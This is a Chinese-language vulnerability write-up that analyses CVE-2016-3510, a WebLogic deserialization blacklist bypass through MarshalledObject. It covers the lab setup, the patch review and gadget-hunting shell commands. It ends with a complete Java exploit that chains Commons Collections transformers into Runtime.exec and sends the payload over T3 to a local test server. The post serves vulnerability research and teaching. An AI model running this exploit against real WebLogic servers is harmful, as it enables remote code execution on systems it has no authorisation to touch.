0x01 漏洞背景
在CVE-2016-0638 漏洞修补之后,安全研究者又发现了其他类似的补丁绕过思路,通过新创建的ObjectInputStream对象进行反序列化。这次分析的主角是weblogic.corba.utils.MarshalledObject,由于MarshalledObject不在WebLogic黑名单里,可正常反序列化,在反序列化时MarshalledObject对象调用readObject时对MarshalledObject封装的序列化对象再次反序列化,从而通过二次反序列化绕过黑名单的限制。目前师傅们对该漏洞补丁分析的很少,笔者打算从0到1把这个漏洞讲清楚,下面开始Weblogic 反序列化漏洞系列的第二篇分析。
0x02 环境搭建及补丁安装
0x1 环境搭建
现成环境
可以采用现成的docker环境,执行以下命令生成对应版本的docker
docker run -d -p 7001:7001 -p 8453:8453 turkeys/weblogic:10.3.6
自动搭建
利用Docker自动化搭建,在github下载搭建代码[https://github.com/BabyTeam1024/WeblogicAutoBuild.git](https://github.com/BabyTeam1024/WeblogicAutoBuild.git)
本次实验环境采用jdk7u21和weblogic 10.3.6.0,在jdk_use和weblogic_use文件夹下存放相对应版本的程序
执行如下命令:
./WeblogicDockerBuild.sh
docker-compose up -d
详情可参考https://www.yuque.com/docs/share/c95cbc62-d853-4de3-94ff-282b2de3b456
0x2 补丁安装
本次使用的补丁是 p22505423_1036_Generic.zip(需要补丁的同学可以联系笔者获取)
cd /weblogic/oracle/middleware/utils/bsu
./bsu.sh -install -patch_download_dir=/weblogic/oracle/middleware/utils/bsu/cache_dir/ -patchlist=DEM4 -prod_dir=/weblogic/oracle/middleware/wlserver
使用以下指令查看目前版本包含的补丁信息
./bsu.sh -prod_dir=/weblogic/oracle/middleware/wlserver/ -status=applied -verbose -view
0x03 补丁分析及绕过
0x1 补丁分析
回顾CVE-2016-0638漏洞,在StreamMessageImpl.class中的readExternal函数里存在二次反序列化操作。
p22505423_1036_Generic补丁在FilteringObjectInputStream类中的resolveClass方法添加黑名单进行防护。
通过查看BLACK_LIST hashset发现了org.apache.commons.collections.functors和com.sun.org.apache.xalan.internal.xsltc.trax都在黑名单中。
0x2 尝试绕过
我们分析过后可以再寻找一个不使用FilteringObjectInputStream类和ServerChannelInputStream类进行反序列化的代码就可以绕过了。
在寻找二次反序列化漏洞入口时发现了 TextMessageImpl.class 的readExternal函数里有个反序列化操作。
一开始不了解二次反序列化的我,开心的以为自己挖了个绕过的漏洞,认认真真的把poc构造好。首先在TextMessageImpl.java中增加setmyobj函数用来当作第二次反序列化的poc填充方法,重写writeExternal方法让他达到触发二次反序列化的目的。
public void setmyObj(Object obj){
this.obj = obj;
}
public void writeExternal(ObjectOutput var1) throws IOException {
super.writeExternal(var1);
var1.writeByte(2);
var1.writeBoolean(true);
var1.writeObject(this.obj);
}
通过上述代码将payload发送过去后才发现该代码使用ServerChannelInputStream函数进行反序列化,该类的resolveClass方法使用了黑名单机制,因此只能另寻出路。
0x3 知识点分析
下图为ObjectInputstream在反序列化对象时的函数调用关系,橙色部分是调用readObject或readExternal函数后执行的代码。
该部分代码在运行时首先会判断该类是否包含readResolve函数。如果有该函数,之后会调用该函数。
在众多实现了该方法的类中发现了如下代码,在第48行创建新的ObjectInputStream对象进行后续的反序列化工作。
该方法存在MarshalledObject.class中,因此可通过反序列化这个类实现二次反序列化的目的。
0x4 如何寻找绕过类
如何搜索满足条件的绕过方法,也是困扰我很久的一个问题。我们首先使用如下命令把所有的jar包都解压
find ./ -name "*.jar" 2>/dev/null| awk '{print "unzip -o " $1 " -d " substr($1,1,length($1)-4) }' | bash
之后用如下命令搜索包含readObject和readResolve关键字的函数
grep -nr "readResolve" --include="*.class" ./ 2>/dev/null | awk '{print "grep -nr readObject " $3}' | bash
搜索到的结果如下
这种搜索方式只能给我们缩小范围,并不能做到精准定位。后面还需要人工分析每个类中是否真的是readResolve函数中调用了readObject函数。当然这种死板的搜索方式也会有很多漏报,比如readObject被封装在了其他类的函数中,我们基本就无法搜到了,不过目前来讲这种方式已经够用了。
0x04 Payload构造
0x1 MarshalledObject分析
那么从搜索到的第一个文件开始分析oracle/middleware/wlserver/server/lib/wlclient/weblogic/corba/utils/MarshalledObject.class
其关键代码如下
使用新创建的ObjectInputStream方法,反序列化this.objBytes中的数据,因为之前的补丁都在FilteringObjectInputStream类和ServerChannelInputStream类中,所以当调用readObject的时候就可以成功执行反序列化利用链。
那么如何构payload,主要观察this.objBytes数据是何时填充的。注意到该类的构造方法存在比较有意思的操作
MarshalledObject接收到参数通过var3进行序列化,并将相关数据存储在objBytes中。因此我们只需要把二次反序列化对象填充在MarshalledObject构造方法参数中即可。
0x2 编写代码
完整代码链接 https://github.com/BabyTeam1024/CVE-2016-3510
package main;
import com.supeream.serial.Serializables;
import com.supeream.weblogic.T3ProtocolOperation;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import weblogic.corba.utils.MarshalledObject;
import weblogic.jms.common.StreamMessageImpl;
import weblogic.jms.common.TextMessageImpl;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cve_2016_3510 {
public Object getObject() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"touch /tmp/D4ck"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
final Map testMap = new HashMap();
Map evilMap = (Map) Proxy.newProxyInstance(
testMap.getClass().getClassLoader(),
testMap.getClass().getInterfaces(),
secondInvocationHandler
);
final Constructor<?> ctor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
ctor.setAccessible(true);
final InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class, evilMap);
return handler;
}
public static void main(String[] args) throws Exception {
Object obj = new cve_2016_3510().getObject();
MarshalledObject textMessage = new MarshalledObject(obj);
byte[] payload2 = Serializables.serialize(textMessage);
T3ProtocolOperation.send("127.0.0.1", "7001", payload2);
}
}
0x05 总结
通过分析CVE-2016-3510漏洞,深入理解二次反序列化更深层次的原理。同时提出了一种粗略寻找漏洞点的搜索方法。接下来继续分析Weblogic历史漏洞及其底层原理。
参考文章
https://www.anquanke.com/post/id/226656
https://www.cnblogs.com/afanti/p/10240232.html
发表评论
您还未登录,请先登录。
登录